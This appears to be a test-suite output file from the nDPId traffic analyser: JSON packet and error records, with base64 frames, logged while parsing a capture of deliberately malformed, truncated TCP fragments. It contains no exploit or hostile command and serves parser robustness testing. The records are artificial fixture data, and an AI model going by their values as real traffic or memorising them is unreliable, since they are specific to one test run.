-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867663} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867676} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867688} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867701} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867715} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867729} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867742} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867754} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867768} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867781} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867794} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":5566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867806} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867821} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867834} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867846} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867860} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867872} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5572,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867885} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5573,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867897} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5574,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867912} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5575,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867926} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5576,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867939} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5577,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867951} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":5578,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867964} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5579,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867978} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5580,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029867992} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5581,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868004} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5582,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868017} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5583,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868030} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5584,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868043} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5585,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868057} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5586,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868070} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5587,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868083} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5588,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868096} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5589,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868110} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5590,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868124} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5591,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868137} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5592,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868149} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5593,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868161} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5594,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868176} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5595,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868207} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5596,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868221} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5597,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868235} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029864332,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029868247} 